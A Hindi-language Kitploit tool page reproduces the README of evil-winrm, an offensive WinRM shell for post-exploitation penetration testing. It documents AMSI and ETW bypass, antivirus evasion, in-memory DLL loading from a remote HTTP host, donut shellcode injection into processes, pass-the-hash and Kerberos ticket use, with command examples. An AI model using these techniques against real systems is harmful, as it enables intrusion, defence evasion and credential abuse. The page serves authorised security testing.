Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
evil-winrm — हैकिंग/पेंटेस्टिंग के लिए सर्वश्रेष्ठ WinRM शेल | Kitploit
उपकरण/GitHubGitHub/hackplayers/evil-winrm
पेलोड जनरेशनशोषणपोस्ट-शोषणपेनिट्रेशन टेस्टिंगप्रमाणीकरणरिमोट एक्सेस टूल
GitHubhackplayers/evil-winrm

evil-winrm

हैकिंग/पेंटेस्टिंग के लिए सर्वश्रेष्ठ WinRM शेल

रिपॉजिटरी देखें
5.4k68041 दिन पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Evil-WinRM Version-shield

Ruby2.3-shield
Gem-Version
License-shield
Docker-shield

हैकिंग/पेंटेस्टिंग के लिए अंतिम WinRM शेल

Banner

विवरण और उद्देश्य

यह शेल हैकिंग/पेंटेस्टिंग के लिए अंतिम WinRM शेल है।

WinRM (Windows Remote Management) WS-Management प्रोटोकॉल का Microsoft कार्यान्वयन है। यह एक मानक SOAP-आधारित प्रोटोकॉल है जो विभिन्न विक्रेताओं के हार्डवेयर और ऑपरेटिंग सिस्टम को इंटरऑपरेट करने की अनुमति देता है। Microsoft ने इसे अपने ऑपरेटिंग सिस्टम में शामिल किया ताकि सिस्टम एडमिनिस्ट्रेटरों का जीवन आसान हो सके।

इस प्रोग्राम का उपयोग किसी भी Microsoft Windows सर्वर पर किया जा सकता है जिसमें यह सुविधा सक्षम हो (आमतौर पर पोर्ट 5985 पर), बेशक केवल तभी जब आपके पास इसका उपयोग करने के लिए क्रेडेंशियल और अनुमतियाँ हों। इसलिए हम कह सकते हैं कि इसका उपयोग पोस्ट-एक्सप्लॉइटेशन हैकिंग/पेंटेस्टिंग चरण में किया जा सकता है। इस प्रोग्राम का उद्देश्य हैकिंग के लिए अच्छी और उपयोग में आसान सुविधाएँ प्रदान करना है। इसका उपयोग सिस्टम एडमिनिस्ट्रेटरों द्वारा वैध उद्देश्यों के लिए भी किया जा सकता है, लेकिन इसकी अधिकांश सुविधाएँ हैकिंग/पेंटेस्टिंग चीज़ों पर केंद्रित हैं।

यह मुख्य रूप से WinRM Ruby लाइब्रेरी पर आधारित है, जिसने अपने संस्करण 2.0 के बाद से काम करने का तरीका बदल दिया। अब WinRM प्रोटोकॉल का उपयोग करने के बजाय, यह रनस्पेस पूल को इनिशियलाइज़ करने के साथ-साथ पाइपलाइन बनाने और प्रोसेस करने के लिए PSRP (Powershell Remoting Protocol) का उपयोग कर रहा है।

विशेषताएँ

  • Linux और Windows क्लाइंट सिस्टम के साथ संगत
  • मेमोरी में Powershell स्क्रिप्ट लोड करें
  • कुछ AV को बायपास करते हुए मेमोरी में dll फ़ाइलें लोड करें
  • कुछ AV को बायपास करते हुए मेमोरी में C# (C Sharp) असेंबली लोड करें
  • शानदार donut तकनीक के साथ उत्पन्न x64 पेलोड लोड करें
  • AV सिग्नेचर से बचने के लिए डायनामिक AMSI Bypass
  • Pass-the-hash समर्थन
  • Kerberos प्रमाणीकरण समर्थन, जिसमें ccache और kirbi फ़ाइलें भी शामिल हैं
  • SSL और प्रमाणपत्र समर्थन
  • प्रगति बार दिखाते हुए फ़ाइलें अपलोड और डाउनलोड करें
  • विशेषाधिकारों के बिना रिमोट मशीन सेवाओं की सूची बनाएं
  • कमांड इतिहास
  • WinRM कमांड पूर्णता
  • स्थानीय फ़ाइलों/निर्देशिकाओं की पूर्णता
  • रिमोट पथ (फ़ाइलों/निर्देशिकाओं) की पूर्णता (वैकल्पिक रूप से अक्षम किया जा सकता है)
  • प्रॉम्प्ट और आउटपुट संदेशों पर रंगीकरण (वैकल्पिक रूप से अक्षम किया जा सकता है)
  • वैकल्पिक लॉगिंग सुविधा
  • Docker समर्थन (पूर्व-निर्मित इमेज Dockerhub पर उपलब्ध हैं)
  • Ctrl+C पर आकस्मिक शेल निकास से बचने के लिए ट्रैप कैप्चरिंग
  • वैध Windows डिफ़ॉल्ट का उपयोग करके अनुकूलन योग्य user-agent
  • ETW (Event Tracing for Windows) बायपास

सहायता```

Usage: evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-a USERAGENT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r REALM] [-K TICKET_FILE] [--spn SPN_PREFIX] [-l] -S, --ssl Enable ssl -c, --pub-key PUBLIC_KEY_PATH Local path to public key certificate -k, --priv-key PRIVATE_KEY_PATH Local path to private key certificate -r, --realm DOMAIN Kerberos auth, it has to be set also in /etc/krb5.conf file using this format -> CONTOSO.COM = { kdc = fooserver.contoso.com } -K, --ccache TICKET_FILE Path to Kerberos ticket file (ccache or kirbi format, auto-detected) -s, --scripts PS_SCRIPTS_PATH Powershell scripts local path --spn SPN_PREFIX SPN prefix for Kerberos auth (default HTTP) -e, --executables EXES_PATH C# executables local path -i, --ip IP Remote host IP or hostname. FQDN for Kerberos auth (required) -U, --url URL Remote url endpoint (default /wsman) -u, --user USER Username (required if not using kerberos) -p, --password PASS Password -H, --hash HASH NTHash -P, --port PORT Remote host port (default 5985) -a, --user-agent Specify connection user-agent (default Microsoft WinRM Client) -V, --version Show version -n, --no-colors Disable colors -N, --no-rpath-completion Disable remote path completion -l, --log Log the WinRM session -h, --help Display this help message

root@kitploit:~
## आवश्यकताएँ
Ruby 2.3 या उच्चतर की आवश्यकता है। कुछ ruby gems की भी आवश्यकता होती है: `winrm >=2.3.7`, `winrm-fs >=1.3.2`, `stringio >=0.0.2`, `logger >= 1.4.3`, `fileutils >= 0.7.2`, `readline ~> 0.0.4`, `readline-ext ~> 0.2.0`।
आपकी इंस्टॉलेशन विधि (4 उपलब्ध) के आधार पर, इन्हें मैन्युअल रूप से इंस्टॉल करने की आवश्यकता हो सकती है।

एक और महत्वपूर्ण आवश्यकता, जो केवल Kerberos प्रमाणीकरण के लिए उपयोग की जाती है, नेटवर्क प्रमाणीकरण के लिए उपयोग किए जाने वाले Kerberos पैकेज को इंस्टॉल करना है।
कुछ Linux जैसे Debian-आधारित (Kali, Parrot, आदि) के लिए इसे `krb5-user` कहा जाता है। BlackArch के लिए इसे `krb5` कहा जाता है और संभवतः अन्य Linux वितरणों के लिए इसे अलग तरीके से कहा जा सकता है।

रिमोट पाथ पूर्णता सुविधा के लिए मूल `readline-ext` बाइंडिंग की आवश्यकता होती है, जो Evil-WinRM निर्भरता के रूप में स्वचालित रूप से इंस्टॉल होती है। कुछ सिस्टमों को इसे संकलित करने के लिए अतिरिक्त विकास पैकेजों की आवश्यकता होती है। अधिक जानकारी के लिए [नीचे दिया गया अनुभाग](#Remote-path-completion) देखें।

## इंस्टॉलेशन और त्वरित प्रारंभ (4 विधियाँ)

### विधि 1. सीधे ruby gem के रूप में इंस्टॉलेशन (निर्भरताएँ आपके सिस्टम पर स्वचालित रूप से इंस्टॉल होंगी)
 - चरण 1. इसे इंस्टॉल करें (यह स्वचालित रूप से निर्भरताएँ इंस्टॉल करेगा): ```gem install evil-winrm```
 - चरण 2. तैयार। बस इसे लॉन्च करें!```
evil-winrm  -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'

विधि 2. Git clone करें और अपने सिस्टम पर मैन्युअल रूप से निर्भरताएँ इंस्टॉल करें

  • चरण 1. निर्भरताएँ मैन्युअल रूप से इंस्टॉल करें: sudo gem install winrm winrm-fs stringio logger fileutils readline readline-ext
  • चरण 2. रिपॉजिटरी को clone करें: git clone https://github.com/Hackplayers/evil-winrm.git
  • चरण 3. तैयार। बस इसे लॉन्च करें!``` cd evil-winrm && ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
root@kitploit:~
### विधि 3. बंडलर का उपयोग करना (निर्भरताएँ आपके सिस्टम पर इंस्टॉल नहीं होंगी, केवल evil-winrm का उपयोग करने के लिए)
 - चरण 1. बंडलर इंस्टॉल करें: `gem install bundler`
 - चरण 2. रिपॉजिटरी क्लोन करें: `git clone https://github.com/Hackplayers/evil-winrm.git`
 - चरण 3. बंडलर के साथ निर्भरताएँ इंस्टॉल करें: `cd evil-winrm && bundle install --path vendor/bundle`
 - चरण 4. इसे बंडलर के साथ लॉन्च करें:```
bundle exec evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'

विधि 4. Docker का उपयोग करना

  • चरण 1. पहले से निर्मित इमेज के आधार पर docker कंटेनर लॉन्च करें:``` docker run --rm -ti --name evil-winrm -v /home/foo/ps1_scripts:/ps1_scripts -v /home/foo/exe_files:/exe_files -v /home/foo/data:/data oscarakaelvis/evil-winrm -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/ps1_scripts/' -e '/exe_files/'
root@kitploit:~
## दस्तावेज़ीकरण

### स्पष्ट टेक्स्ट पासवर्ड
यदि आप पासवर्ड को स्पष्ट टेक्स्ट में नहीं रखना चाहते हैं, तो आप वैकल्पिक रूप से `-p` तर्क सेट करने से बच सकते हैं और पासवर्ड प्रॉम्प्ट किया जाएगा, जिससे इसे दिखने से रोका जा सके।

### IPv6
IPv6 का उपयोग करने के लिए, पता /etc/hosts में जोड़ा जाना चाहिए। बस `-i` तर्क के बाद IP पते के बजाय पहले से सेट किया गया होस्ट नाम रखें।

### बुनियादी कमांड
 - **upload**: स्थानीय फ़ाइलों को टैब कुंजी का उपयोग करके ऑटो-कंप्लीट किया जा सकता है।
   - उपयोग: `upload local_filename` या `upload local_filename destination_filename`
 - **download**:
   - उपयोग: `download remote_filename` या `download remote_filename destination_filename`

 __पथों के बारे में नोट्स (upload/download)__:
   डाउनलोड/अपलोड पर उपयोग के लिए सापेक्ष पथों की अनुमति नहीं है। वर्तमान निर्देशिका में फ़ाइल नाम या पूर्ण पथ का उपयोग करें।
   यदि आप डॉकर वातावरण में Evil-WinRM का उपयोग कर रहे हैं, तो ध्यान रखें कि सभी स्थानीय पथ `/data` पर होने चाहिए और सुनिश्चित करें कि आपने इसे वॉल्यूम के रूप में मैप किया है ताकि आप डाउनलोड की गई फ़ाइलों तक पहुंच सकें या अपने स्थानीय होस्ट O.S. से फ़ाइलें अपलोड कर सकें।

 - **services**: सभी सेवाओं की सूची दिखाता है, यह दर्शाते हुए कि क्या आपके खाते के पास प्रत्येक सेवा पर अनुमतियाँ हैं। इस सुविधा का उपयोग करने के लिए व्यवस्थापक अनुमतियों की आवश्यकता नहीं है।
 - **menu**: `Invoke-Binary`, `Dll-Loader` और `Donut-Loader` फ़ंक्शन लोड करता है, जिन्हें हम नीचे समझाएंगे। जब एक ps1 लोड होता है, तो उसके सभी फ़ंक्शन दिखाए जाएंगे।
 - **clear** या **cls**: टर्मिनल स्क्रीन साफ़ करता है। आप स्क्रीन साफ़ करने के लिए `Ctrl+L` कीबोर्ड शॉर्टकट का भी उपयोग कर सकते हैं।
 - **exit** या **quit**: Evil-WinRM सत्र बंद करता है। आप `Ctrl+D` कीबोर्ड शॉर्टकट का भी उपयोग कर सकते हैं।```
*Evil-WinRM* PS C:\> menu

   ,.   (   .      )               "            ,.   (   .      )       .
  ("  (  )  )'     ,'             (     '    ("     )  )'     ,'   .  ,)
.; )  ' (( (" )    ;(,      .     ;)  "  )"  .; )  ' (( (" )   );(,   )((
_".,_,.__).,) (.._( ._),     )  , (._..( '.._"._, . '._)_(..,_(_".) _( _')
\_   _____/__  _|__|  |    ((  (  /  \    /  \__| ____\______   \  /     \
 |    __)_\  \/ /  |  |    ;_)_') \   \/\/   /  |/    \|       _/ /  \ /  \
 |        \\   /|  |  |__ /_____/  \        /|  |   |  \    |   \/    Y    \
/_______  / \_/ |__|____/           \__/\  / |__|___|  /____|_  /\____|__  /
        \/                               \/          \/       \/         \/

          By: CyberVaca, OscarAkaElvis, Jarilaos, Arale61 @Hackplayers

[+] Dll-Loader
[+] Donut-Loader
[+] Invoke-Binary
[+] Bypass-4MSI
[+] services
[+] upload
[+] download
[+] clear
[+] cls
[+] menu
[+] exit

PowerShell स्क्रिप्ट लोड करें

  • किसी ps1 फ़ाइल को लोड करने के लिए आपको बस नाम टाइप करना होता है (टैब का उपयोग करके ऑटो-कम्प्लीशन की अनुमति है)। स्क्रिप्ट्स उस पथ पर होनी चाहिए जो -s तर्क में सेट किया गया है। मेनू फिर से टाइप करें और लोड किए गए फ़ंक्शन देखें। बहुत बड़ी फ़ाइलों को लोड होने में लंबा समय लग सकता है।``` Evil-WinRM PS C:> PowerView.ps1 Evil-WinRM PS C:> menu

    ,. ( . ) " ,. ( . ) . (" ( ) )' ,' ( ' (" ) )' ,' . ,) .; ) ' (( (" ) ;(, . ;) " )" .; ) ' (( (" ) );(, )(( ".,,.).,) (..( .), ) , (...( '.."., . '.)(..,(".) ( ') _ / _|| | (( ( / \ / _| _ \ /
    | __)
    \ / / | | ;
    )') \ // / |/ | / / \ /
    | \ /| | |
    /
    / \ /| | | \ | / Y
    /
    _____ / _/ |__|
    / _/\ / ||| /__| /__| / / / / / /

    root@kitploit:~
       By: CyberVaca, OscarAkaElvis, Jarilaos, Arale61 @Hackplayers
    

[+] Add-DomainAltSecurityIdentity [+] Add-DomainGroupMember [+] Add-DomainObjectAcl [+] Add-RemoteConnection [+] Add-Win32Type [+] Convert-ADName [+] Convert-DNSRecord [+] ConvertFrom-LDAPLogonHours [+] ConvertFrom-SID [+] ConvertFrom-UACValue [+] Convert-LDAPProperty [+] Convert-LogonHours [+] ConvertTo-SID [+] Dll-Loader [+] Donut-Loader [+] Export-PowerViewCSV [+] field [+] Find-DomainLocalGroupMember

root@kitploit:~
### उन्नत कमांड
- Invoke-Binary: .Net असेंबली को मेमोरी में निष्पादित करने की अनुमति देता है। नाम को टैब कुंजी का उपयोग करके स्वतः पूर्ण किया जा सकता है। exe फ़ाइल के लिए तर्क अल्पविराम से अलग करके पास किए जा सकते हैं। उदाहरण: `Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'`। निष्पादन योग्य फ़ाइलें `-e` तर्क पर निर्धारित पथ में होनी चाहिए।```
*Evil-WinRM* PS C:\> Invoke-Binary
.SYNOPSIS
    Execute binaries from memory.
    PowerShell Function: Invoke-Binary
    Author: Luis Vacas (CyberVaca)

    Required dependencies: None
    Optional dependencies: None
.DESCRIPTION

.EXAMPLE
    Invoke-Binary /opt/csharp/Watson.exe
    Invoke-Binary /opt/csharp/Binary.exe param1,param2,param3
    Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'
    Description
    -----------
    Function that execute binaries from memory.

*Evil-WinRM* PS C:\> Invoke-Binary /opt/csharp/Rubeus.exe

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.0


 Ticket requests and renewals:


  • Dll-Loader: मेमोरी में dll लाइब्रेरी लोड करने की अनुमति देता है, यह इसके बराबर है: [Reflection.Assembly]::Load([IO.File]::ReadAllBytes("pwn.dll"))

    dll फ़ाइल smb, http या स्थानीय रूप से होस्ट की जा सकती है। एक बार लोड हो जाने पर menu टाइप करें, फिर सभी फ़ंक्शनों को ऑटोकंप्लीट करना संभव है।``` Evil-WinRM PS C:> Dll-Loader .SYNOPSIS dll loader. PowerShell Function: Dll-Loader Author: Hector de Armas (3v4Si0N)

    Required dependencies: None Optional dependencies: None .DESCRIPTION . .EXAMPLE Dll-Loader -smb -path \192.168.139.132\share\myDll.dll Dll-Loader -local -path C:\Users\Pepito\Desktop\myDll.dll Dll-Loader -http -path http://example.com/myDll.dll

    Description

    Function that loads an arbitrary dll

Evil-WinRM PS C:> Dll-Loader -http http://10.10.10.10/SharpSploit.dll [+] Reading dll by HTTP [+] Loading dll... Evil-WinRM PS C:\Users\test\Documents> menu

[... Snip ...]

Evil-WinRM PS C:> [SharpSploit.Enumeration.Host]::GetProcessList()

Pid : 0 Ppid : 0 Name : Idle Path : SessionID : 0 Owner : Architecture : x64

root@kitploit:~
- Donut-Loader: [donut] तकनीक से उत्पन्न x64 पेलोड इंजेक्ट करने की अनुमति देता है। payload.bin को एन्कोड करने की आवश्यकता नहीं है, बस जनरेट करें और इंजेक्ट करें!```
*Evil-WinRM* PS C:\> Donut-Loader
.SYNOPSIS
    Donut Loader.
    PowerShell Function: Donut-Loader
    Author: Luis Vacas (CyberVaca)
    Based code: TheWover

    Required dependencies: None
    Optional dependencies: None
.DESCRIPTION

.EXAMPLE
    Donut-Loader -process_id 2195 -donutfile /home/cybervaca/donut.bin
    Donut-Loader -process_id (get-process notepad).id -donutfile /home/cybervaca/donut.bin

    Description
    -----------
    Function that loads an arbitrary donut :D

आप इस donut-maker का उपयोग payload.bin उत्पन्न करने के लिए कर सकते हैं यदि आप Windows का उपयोग नहीं करते हैं। यह स्क्रिप्ट Marcello Salvati (byt3bl33d3r) द्वारा लिखित एक python मॉड्यूल का उपयोग करती है। इसे pip का उपयोग करके स्थापित किया जा सकता है: `pip3 install donut-shellcode```` python3 donut-maker.py -i Covenant.exe


.'/,-Y" "-. l.Y ^. /\ __ Donuts! i /" "
| /" "\ o ! l ] o !
./ \ _ _ .
__./ "

X / \ _./ ( \ . ..--" ~-. Z,-- /
__. ( / ______) \ l /-----
" / Y \ / | "x
.^ |
j Y

[+] Donut generated successfully: payload.bin

root@kitploit:~
- Bypass-4MSI: AMSI सुरक्षा को पैच करता है।```
*Evil-WinRM* PS C:\> #amsiscanbuffer
At line:1 char:1
+ #amsiscanbuffer
+ ~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
    + CategoryInfo          : ParserError: (:) [Invoke-Expression], ParseException
    + FullyQualifiedErrorId : ScriptContainedMaliciousContent,Microsoft.PowerShell.Commands.InvokeExpressionCommand
*Evil-WinRM* PS C:\>
*Evil-WinRM* PS C:\> Bypass-4MSI
[+] Success!

*Evil-WinRM* PS C:\> #amsiscanbuffer
*Evil-WinRM* PS C:\>

केरबेरोस

  • पहले आपको DC के साथ तारीख सिंक करनी होगी: rdate -n <dc_ip>

  • टिकट जनरेट करने के कई तरीके हैं:

    • ticketer.py का उपयोग करके impacket से
    • Rubeus या Mimikatz का उपयोग करके kirbi टिकट प्राप्त करने के लिए (ccache में स्वचालित रूपांतरण समर्थित है)
  • टिकट फ़ाइल जोड़ें। 3 तरीके हैं:

    export KRB5CCNAME=/foo/var/ticket.ccache

    cp ticket.ccache /tmp/krb5cc_0

    -K पैरामीटर का उपयोग करें: evil-winrm -i hostname -r DOMAIN.COM -K /path/to/ticket.ccache या evil-winrm -i hostname -r DOMAIN.COM -K /path/to/ticket.kirbi

    -K का उपयोग करते समय, टूल स्वचालित रूप से:

    • टिकट प्रारूप (ccache या kirbi) का पता लगाएगा
    • यदि आवश्यक हो तो kirbi टिकटों को ccache प्रारूप में बदलेगा (ticket_converter.py या impacket-ticketConverter की आवश्यकता है)
    • फ़ाइल के अस्तित्व और पठनीयता को सत्यापित करेगा
    • KRB5CCNAME पर्यावरण चर सेट करेगा
    • बेहतर केरबेरोस संगतता के लिए IP पतों को FQDN में हल करेगा
  • /etc/krb5.conf में realm जोड़ें (linux के लिए)। इस प्रारूप का उपयोग करना महत्वपूर्ण है: ``` CONTOSO.COM = { kdc = fooserver.contoso.com }

    root@kitploit:~
  • klist के साथ Kerberos टिकट जांचें

  • टिकट हटाने के लिए उपयोग करें: kdestroy

  • Kerberos के बारे में अधिक जानकारी के लिए यह cheatsheet देखें

रिमोट पाथ पूर्णता (Remote path completion)

इस सुविधा के लिए नेटिव readline-ext बाइंडिंग की आवश्यकता होती है। Evil-WinRM इसे एक निर्भरता के रूप में घोषित करता है, इसलिए RubyGems या Bundler का उपयोग करते समय यह स्वचालित रूप से इंस्टॉल हो जाता है। यदि नेटिव एक्सटेंशन बिल्ड नहीं हो पाता है, तो यह सुविधा काम नहीं करेगी (एक चेतावनी दिखाई जाएगी)।

Ruby 3.3+ नोट: ext/readline को Ruby के सोर्स से 3.3 में हटा दिया गया था (Feature #19616)। इसलिए, नीचे दी गई विधि 1 का उपयोग Ruby 3.3 या नए संस्करणों के साथ नहीं किया जा सकता। Debian-आधारित सिस्टम पर, Evil-WinRM या इसकी निर्भरताओं को इंस्टॉल करने से पहले आवश्यक डेवलपमेंट पैकेज इंस्टॉल करें:``` sudo apt install libreadline-dev

root@kitploit:~
`readline-ext` निर्भरता `require 'readline'` को GNU Readline लोड करने के लिए बाध्य करती है, न कि `reline` को, जिसमें `quoting_detection_proc` का अभाव है—यह वह विधि है जिसे Evil-WinRM जाँचता है। नीचे दी गई विधियाँ पुराने Ruby संस्करणों को लक्षित करती हैं और संगतता के लिए रखी गई हैं।

#### विधि 1 (आवश्यक एक्सटेंशन संकलित करें)

इस विधि का उपयोग करके आप आवश्यक readline सुविधा के साथ ruby संकलित करेंगे, लेकिन केवल लाइब्रेरी का उपयोग करने के लिए, बिना अपने सिस्टम के डिफ़ॉल्ट ruby संस्करण को बदले। इस कारण से, यह सबसे अनुशंसित विधि है।

मान लीजिए कि आपके Debian-आधारित सिस्टम पर ruby 2.7.3 स्थापित है:```
# Install needed package
apt install libreadline-dev

# Check your ruby version
ruby --version
ruby 2.7.3p183 (2021-04-05 revision 6847ee089d) [x86_64-linux-gnu]

# Download ruby source code (2.7.3 in this case):
wget https://ftp.ruby-lang.org/pub/ruby/2.7/ruby-2.7.3.tar.gz

# Extract source code
tar -xf ruby-2.7.3.tar.gz

# Compile the readline extension:
cd ruby-2.7.3/ext/readline
ruby ./extconf.rb
make

# Patch current version of the ruby readline extension:
sudo cp /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so.bk
sudo cp -f readline.so /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so

विधि 2 (केवल evil-winrm के लिए rbenv का उपयोग करके ruby इंस्टॉल करें)

मान लीजिए कि आप Debian आधारित Linux पर ruby 2.7.1 चाहते हैं और आप zsh का उपयोग कर रहे हैं। यह स्क्रिप्ट इसे स्वचालित कर देगी। आपको इसे उसी निर्देशिका से चलाना होगा जहाँ evil-winrm.rb और Gemfile स्थित है (उदाहरण के लिए, git clone के बाद बनाई गई evil-winrm निर्देशिका):``` #!/usr/bin/env zsh

Uninstall possible current installed versions

sudo gem uninstall evil-winrm -q gem uninstall evil-winrm -q

Install rbenv

sudo apt install rbenv

Config rbenv on zshrc config file

echo 'export PATH="$HOME/.rbenv/bin:$PATH"' >> ~/.zshrc echo 'eval "$(rbenv init -)"' >> ~/.zshrc source ~/.zshrc

Install ruby with readline support

export RUBY_CONFIGURE_OPTS=--with-readline-dir="/usr/include/readline" rbenv install 2.7.1

Create file '.ruby-version' to set right ruby version

rbenv local 2.7.1

Install local gems

gem install bundler bundle install

current_evwr="$(pwd)/evil-winrm.rb"

sudo bash -c "cat << 'EOF' > /usr/bin/evil-winrm #!/usr/bin/env sh "${current_evwr}" "$@" EOF"

sudo chmod +x /usr/bin/evil-winrm

root@kitploit:~
फिर आप नए इंस्टॉल किए गए ruby का उपयोग करके किसी भी स्थान से आवश्यक readline समर्थन के साथ सुरक्षित रूप से evil-winrm लॉन्च कर सकते हैं।

#### विधि 3 (पूरा ruby संकलित करें)

यदि आप इसे स्वयं संकलित करना चाहते हैं, तो आप इन चरणों का पालन कर सकते हैं। मान लीजिए कि आप ruby 2.7.3 चाहते हैं:```
wget -O ruby-install-0.8.1.tar.gz https://github.com/postmodern/ruby-install/archive/v0.8.1.tar.gz
tar -xzvf ruby-install-0.8.1.tar.gz
cd ruby-install-0.8.1/
sudo make install
ruby-install ruby 2.7.3 -- --with-readline-dir=/usr/include/readline

आपके सिस्टम के आधार पर यह /opt/rubies/ruby-2.7.3 या शायद ~/.rubies/ruby-2.7.3 पर इंस्टॉल होगा।

अब बस नए इंस्टॉल किए गए ruby संस्करण के लिए evil-winrm की निर्भरताएँ इंस्टॉल करनी हैं। सबसे आसान तरीका है कमांड /opt/rubies/ruby-2.7.3/bin/gem install evil-winrm चलाना। उपयोग किया गया gem कमांड नए ruby इंस्टॉलेशन का होना चाहिए।

उसके बाद, आप evil-winrm पर उपयोग करने के लिए अपने नए इंस्टॉल किए गए ruby को सुरक्षित रूप से लॉन्च कर सकते हैं: /opt/rubies/ruby-2.7.3/bin/ruby ./evil-winrm.rb -h

यह अनुशंसित है कि इस नए इंस्टॉल किए गए ruby का उपयोग केवल evil-winrm लॉन्च करने के लिए करें। यदि आप इसे अपने सिस्टम के लिए डिफ़ॉल्ट ruby के रूप में सेट करते हैं, तो ध्यान रखें कि इसमें कोई निर्भरता gem इंस्टॉल नहीं है। Metasploit या अन्य जैसे कुछ ruby-आधारित सॉफ़्टवेयर निर्भरता समस्याओं के कारण सही ढंग से प्रारंभ नहीं हो सकते हैं।

लॉगिंग

यह सुविधा आपकी $HOME निर्देशिका पर फ़ाइलें बनाएगी जो WinRM सत्रों के कमांड और आउटपुट सहेजेंगी।

कमांड इतिहास

Evil-WinRM प्रत्येक होस्ट और उपयोगकर्ता संयोजन के लिए एक स्थायी कमांड इतिहास बनाए रखता है। इतिहास ~/.evil-winrm/history/ निर्देशिका में {host}_{user}.hist नाम की फ़ाइलों के रूप में संग्रहीत किया जाता है।

जब आप किसी ऐसी मशीन से कनेक्ट करते हैं जिसे आपने पहले एक्सेस किया है, तो आप अपने पिछले कमांड को नेविगेट करने के लिए तीर कुंजियों (ऊपर/नीचे) का उपयोग कर सकते हैं। इतिहास प्रत्येक कमांड निष्पादन के बाद स्वचालित रूप से सहेजा जाता है और जब आप उसी उपयोगकर्ता के साथ उसी होस्ट से पुनः कनेक्ट होते हैं तो लोड होता है।

ज्ञात समस्याएँ। OpenSSL त्रुटियाँ

कभी-कभी, आपको इस तरह की त्रुटि का सामना करना पड़ सकता है:``` Error: An error of type OpenSSL::Digest::DigestError happened, message is Digest initialization failed: initialization error

root@kitploit:~
यह त्रुटि इसलिए होती है क्योंकि OpenSSL 3.0 संस्करण ने कुछ पुराने (legacy) फ़ंक्शन जैसे MD4 को हटा दिया है, जो इस टूल को चलाने के लिए आवश्यक हैं। इस स्थिति से निपटने के लिए कई मौजूदा समाधान (workarounds) हैं:

 - अपने सिस्टम को नवीनतम संस्करण में अपडेट करें। संभवतः, यह समस्या नवीनतम Ruby संस्करणों पर स्वचालित रूप से ठीक हो गई है जो नए OpenSSL संस्करणों का उपयोग कर रहे हैं।
 - OpenSSL 3.0 के बजाय पुराने OpenSSL 1.x का उपयोग करके अपनी खुद की Ruby संकलित (compile) करें, या समस्याग्रस्त 3.0 संस्करण से बचने के लिए इसे OpenSSL > 3.0 के साथ संकलित करें।
 - सबसे आसान तरीका। अपनी `/etc/ssl/openssl.cnf` कॉन्फ़िग फ़ाइल को संपादित करें और सुनिश्चित करें कि कॉन्फ़िग इस प्रकार है:```
openssl_conf = openssl_init

[openssl_init]
providers = provider_sect

[provider_sect]
default = default_sect
legacy = legacy_sect

[default_sect]
activate = 1

[legacy_sect]
activate = 1
  • पिछले वर्कअराउंड के विकल्प के रूप में, यदि आपका सिस्टम OpenSSL के बजाय LibreSSL का उपयोग कर रहा है या शायद आप अपनी सिस्टम कॉन्फ़िग फ़ाइल को संशोधित नहीं करना चाहते हैं। उपरोक्त सामग्री वाली एक सरल फ़ाइल बनाएं। कोई भी नाम इस्तेमाल किया जा सकता है, उदाहरण के लिए evil-tls.conf। उसके बाद, सिस्टम को इसका उपयोग करने के लिए बाध्य करने हेतु एक environment var निर्यात करें: export OPENSSL_CONF="/path/to/evil-tls.conf"। और फिर टूल लॉन्च करें, त्रुटि गायब हो जाएगी।

चेंजलॉग:

चेंजलॉग और प्रोजेक्ट परिवर्तन यहाँ देखे जा सकते हैं: CHANGELOG.md

क्रेडिट्स:

स्टाफ़:

  • Cybervaca, (संस्थापक)। Twitter (X): @CyberVaca_
  • OscarAkaElvis, Twitter (X): @OscarAkaElvis
  • Jarilaos, Twitter (X): @_Laox
  • arale61, Twitter (X): @arale61

विशेष धन्यवाद:

  • Vis0r उनके व्यक्तिगत समर्थन के लिए।
  • Alamot उनके मूल कोड के लिए।
  • 3v4Si0N उनके शानदार dll लोडर के लिए।
  • WinRb ruby लाइब्रेरी के सभी योगदानकर्ता।
  • TheWover उनके शानदार donut टूल के लिए।
  • byt3bl33d3r donut पेलोड बनाने के लिए उनकी python लाइब्रेरी के लिए।
  • Sh11td0wn नई सुविधाओं के बारे में प्रेरणा के लिए।
  • Borch logging सुविधा जोड़ने में मदद के लिए।
  • noraj Ruby संस्करणों में टूल को बनाए रखने में मदद के लिए।
  • Hackplayers इस सॉफ़्टवेयर को अपने github पर आश्रय देने के लिए।

अस्वीकरण और लाइसेंस

